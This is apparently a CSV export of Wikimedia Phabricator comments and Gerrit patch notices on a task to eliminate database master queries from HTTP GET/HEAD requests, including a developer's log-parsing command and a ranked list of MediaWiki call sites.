+Perhaps because it was fixed only very recently, and the fix is not in 1.25wmf23? rECOE908ea3bf8c436115",,,1428349123,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,1,0,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1
+438989,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"It's deployed and it's all GETs. I have the feeling that this was already accounted for elsewhere in the code :) Oh, well...",,,1428338311,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+438984,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202042 merged by jenkins-bot:
+Track request method in dbperformance.log
+
+[[https://gerrit.wikimedia.org/r/202042]]",,,1428337912,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+438983,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202039 merged by jenkins-bot:
+Track request method in dbperformance.log
+
+[[https://gerrit.wikimedia.org/r/202039]]",,,1428337781,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+438948,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202042 had a related patch set uploaded (by Gilles):
+Track request method in dbperformance.log
+
+[[https://gerrit.wikimedia.org/r/202042]]
+",,,1428334807,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+438939,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202039 had a related patch set uploaded (by Gilles):
+Track request method in dbperformance.log
+
+[[https://gerrit.wikimedia.org/r/202039]]
+",,,1428334481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+438931,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202008 merged by jenkins-bot:
+Track request method in dbperformance.log
+
+[[https://gerrit.wikimedia.org/r/202008]]",,,1428334031,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+438792,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 202008 had a related patch set uploaded (by Gilles):
+Track request method in dbperformance.log
+
+[[https://gerrit.wikimedia.org/r/202008]]
+",,,1428309629,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+438790,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Actually, it's doing the right thing because it only fetches from master on POST. Rather than investigate each of these and finding out after digging through a bunch of code that it's actually fine, I think dbperformance.log needs to record the request type.",,,1428309254,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+438788,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Looking at the biggest one, ""Revision.php line 128 calls wfGetDB()"", it's coming from Captcha.php in the ConfirmEdit extension.",,,1428308975,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0
+438785,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Examining ""75167 Block.php line 219 calls wfGetDB()"" in particular, to start with one of the biggest. The main source of this seems to be Wikibase. I'll file a ticket against their project.",,,1428307854,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,1,0
+438778,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"I decided to parse dbperformance.log to see which ones are the biggest offenders. Here's my attempt:
+
+
+```
+cat /a/mw-log/dbperformance.log | grep 'masterConns' -A6 | grep 'LoadBalancer->getConnection' -A1 | grep -v 'LoadBalancer->getConnection' | grep -v '\-\-' | sort | uniq -c | sort -n
+```
+
+
+```
+      1 AbuseFilterViewEdit.php line 820 calls wfGetDB()
+      1 Block.php line 423 calls wfGetDB()
+      1 MessageGroups.php line 241 calls wfGetDB()
+      1 ORMTable.php line 629 calls DBAccessBase->getConnection()
+      1 SpecialPageTranslation.php line 279 calls wfGetDB()
+      1 User.php line 3054 calls wfGetDB()
+      1 WikiPageMessageGroup.php line 55 calls wfGetDB()
+      2 Store.php line 185 calls wfGetDB()
+      2 User.php line 3741 calls wfGetDB()
+      2 WikiPage.php line 376 calls wfGetDB()
+      3 Block.php line 442 calls wfGetDB()
+      3 CategoryViewer.php line 716 calls wfGetDB()
+      3 MathRenderer.php line 330 calls wfGetDB()
+      3 MessageBlobStore.php line 95 calls wfGetDB()
+      4 User.php line 2178 calls wfGetDB()
+      5 ShortUrl.utils.php line 44 calls wfGetDB()
+      5 SpecialEditWatchlist.php line 302 calls wfGetDB()
+      6 UserRightsProxy.php line 158 calls wfGetDB()
+      7 CentralAuthUser.php line 1951 calls CentralAuthUser::getCentralDB()
+      7 CNDatabase.php line 35 calls wfGetDB()
+      7 User.php line 3693 calls wfGetDB()
+      8 MessageGroupStats.php line 307 calls wfGetDB()
+      8 User.php line 1399 calls wfGetDB()
+     11 TPParse.php line 136 calls wfGetDB()
+     12 Block.php line 799 calls wfGetDB()
+     12 SqlBagOStuff.php line 158 calls wfGetDB()
+     13 Block.php line 984 calls wfGetDB()
+     16 Title.php line 3933 calls wfGetDB()
+     17 FRPageConfig.php line 189 calls wfGetDB()
+     27 RevisionStorage.php line 124 calls Flow\DbFactory->getDB()
+     40 Revision.php line 307 calls wfGetDB()
+     48 ForeignDBViaLBRepo.php line 59 calls wfGetDB()
+     67 AccountAudit.body.php line 22 calls wfGetDB()
+     99 UserNotificationGateway.php line 45 calls MWEchoDbFactory->getEchoDb()
+    110 TranslatablePage.php line 862 calls wfGetDB()
+    115 OAIRepo_body.php line 281 calls OAIRepo->getAuditDatabase()
+    119 WikiPageEntityRevisionLookup.php line 259 calls DBAccessBase->getConnection()
+    123 AbuseFilterViewEdit.php line 819 calls wfGetDB()
+    149 CentralAuthUser.php line 1804 calls CentralAuthUser::getCentralDB()
+    157 CodeRepository.php line 51 calls wfGetDB()
+    157 SpecialEditWatchlist.php line 347 calls wfGetDB()
+    178 User.php line 1397 calls wfGetDB()
+    215 FlaggableWikiPage.php line 343 calls wfGetDB()
+    345 FRDependencyUpdate.php line 83 calls wfGetDB()
+    349 SpecialActiveusers.php line 313 calls wfGetDB()
+    363 LocalRepo.php line 469 calls wfGetDB()
+    454 LinkFilter.php line 95 calls wfGetDB()
+    461 User.php line 1223 calls wfGetDB()
+    463 CentralAuthUser.php line 2483 calls CentralAuthUser::getCentralDB()
+    632 User.php line 2179 calls wfGetDB()
+    798 TranslatablePage.php line 677 calls wfGetDB()
+   1081 WikiPage.php line 1499 calls wfGetDB()
+   1444 CentralAuthHooks.php line 822 calls wfGetDB()
+   1633 SqlStore.php line 460 calls wfGetDB()
+   1633 WikiPageEntityRevisionLookup.php line 192 calls DBAccessBase->getConnection()
+   1781 TranslatablePage.php line 640 calls wfGetDB()
+   2038 CentralAuthUser.php line 2028 calls CentralAuthUser::getCentralDB()
+   4863 WatchedItem.php line 267 calls wfGetDB()
+   8070 User.php line 3000 calls wfGetDB()
+  10615 User.php line 2270 calls wfGetDB()
+  34769 User.php line 1221 calls wfGetDB()
+  44027 BasicDbStorage.php line 138 calls Flow\DbFactory->getDB()
+  52857 CentralAuthUser.php line 205 calls CentralAuthUser::getCentralDB()
+  75167 Block.php line 219 calls wfGetDB()
+ 127206 Revision.php line 128 calls wfGetDB()
+```",,,1428306702,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,1
+437952,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 201698 merged by jenkins-bot:
+Skin: Account for User::newFromName returning false
+
+[[https://gerrit.wikimedia.org/r/201698]]",,,1428064527,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+437936,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 201698 had a related patch set uploaded (by Gilles):
+Account for User::newFromName returning false
+
+[[https://gerrit.wikimedia.org/r/201698]]
+",,,1428063096,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+437902,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 201688 merged by jenkins-bot:
+Made Skin::getRelevantUser use READ_NORMAL
+
+[[https://gerrit.wikimedia.org/r/201688]]",,,1428061307,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+437901,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"@aaron are you looking at occurrence frequency of these in dbperformance.log to tackle the biggest ones first, or is the goal to fix every single one we find in there anyway?",,,1428060720,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1
+437899,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"For my own understanding of mediawiki core features, is getRelevantUser() solely used to display 3-4 relevant shortcuts in the toolbox at the bottom left of the interface?",,,1428060506,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+437858,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 201688 had a related patch set uploaded (by Aaron Schulz):
+Made Skin::getRelevantUser use READ_NORMAL
+
+[[https://gerrit.wikimedia.org/r/201688]]
+",,,1428054475,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+437035,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199826 merged by jenkins-bot:
+Switched to using User::touch() to avoid DB write spam
+
+[[https://gerrit.wikimedia.org/r/199826]]",,,1427951299,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+436399,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,Only patch listed above still in review: https://gerrit.wikimedia.org/r/#/c/199826/,,,1427878810,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+434133,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200194 merged by jenkins-bot:
+Avoid using DB_MASTER in makeLikeArray
+
+[[https://gerrit.wikimedia.org/r/200194]]",,,1427480230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+434111,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200194 had a related patch set uploaded (by Aaron Schulz):
+Avoid using DB_MASTER in makeLikeArray
+
+[[https://gerrit.wikimedia.org/r/200194]]
+",,,1427478435,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+434059,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200059 merged by jenkins-bot:
+Removed view event from $wgAutopromoteOnce
+
+[[https://gerrit.wikimedia.org/r/200059]]",,,1427474283,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+433714,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200052 merged by jenkins-bot:
+Avoid needless master queries on page views
+
+[[https://gerrit.wikimedia.org/r/200052]]",,,1427410454,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+433711,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200059 had a related patch set uploaded (by Aaron Schulz):
+Removed view event from $wgAutopromoteOnce
+
+[[https://gerrit.wikimedia.org/r/200059]]
+",,,1427410076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+433697,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 200052 had a related patch set uploaded (by Aaron Schulz):
+Avoid needless master queries on page views
+
+[[https://gerrit.wikimedia.org/r/200052]]
+",,,1427408929,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+433692,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199825 merged by jenkins-bot:
+Introduced User::touch() method to bump the getTouched() value using memcached
+
+[[https://gerrit.wikimedia.org/r/199825]]",,,1427408721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+433072,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199826 had a related patch set uploaded (by Aaron Schulz):
+Switched to using User::touch() to avoid DB write spam
+
+[[https://gerrit.wikimedia.org/r/199826]]
+",,,1427347461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+433070,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199825 had a related patch set uploaded (by Aaron Schulz):
+Introduced User::touch() method to bump the getTouched() value using memcached
+
+[[https://gerrit.wikimedia.org/r/199825]]
+",,,1427347131,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+432814,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199679 merged by jenkins-bot:
+Avoid master queries on edit form views
+
+[[https://gerrit.wikimedia.org/r/199679]]",,,1427319812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+432731,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199679 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries on edit form views
+
+[[https://gerrit.wikimedia.org/r/199679]]
+",,,1427315079,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+431837,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199175 merged by jenkins-bot:
+Allow callers to load user objects from slaves if desired
+
+[[https://gerrit.wikimedia.org/r/199175]]",,,1427224344,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+431408,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 199175 had a related patch set uploaded (by Aaron Schulz):
+Allow callers to load user objects from slaves if desired
+
+[[https://gerrit.wikimedia.org/r/199175]]
+",,,1427157559,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+427890,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 197392 merged by jenkins-bot:
+Avoid master queries on page view for block checks
+
+[[https://gerrit.wikimedia.org/r/197392]]",,,1426619268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+427888,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 197392 had a related patch set uploaded (by Aaron Schulz):
+Avoid master queries on page view for block checks
+
+[[https://gerrit.wikimedia.org/r/197392]]
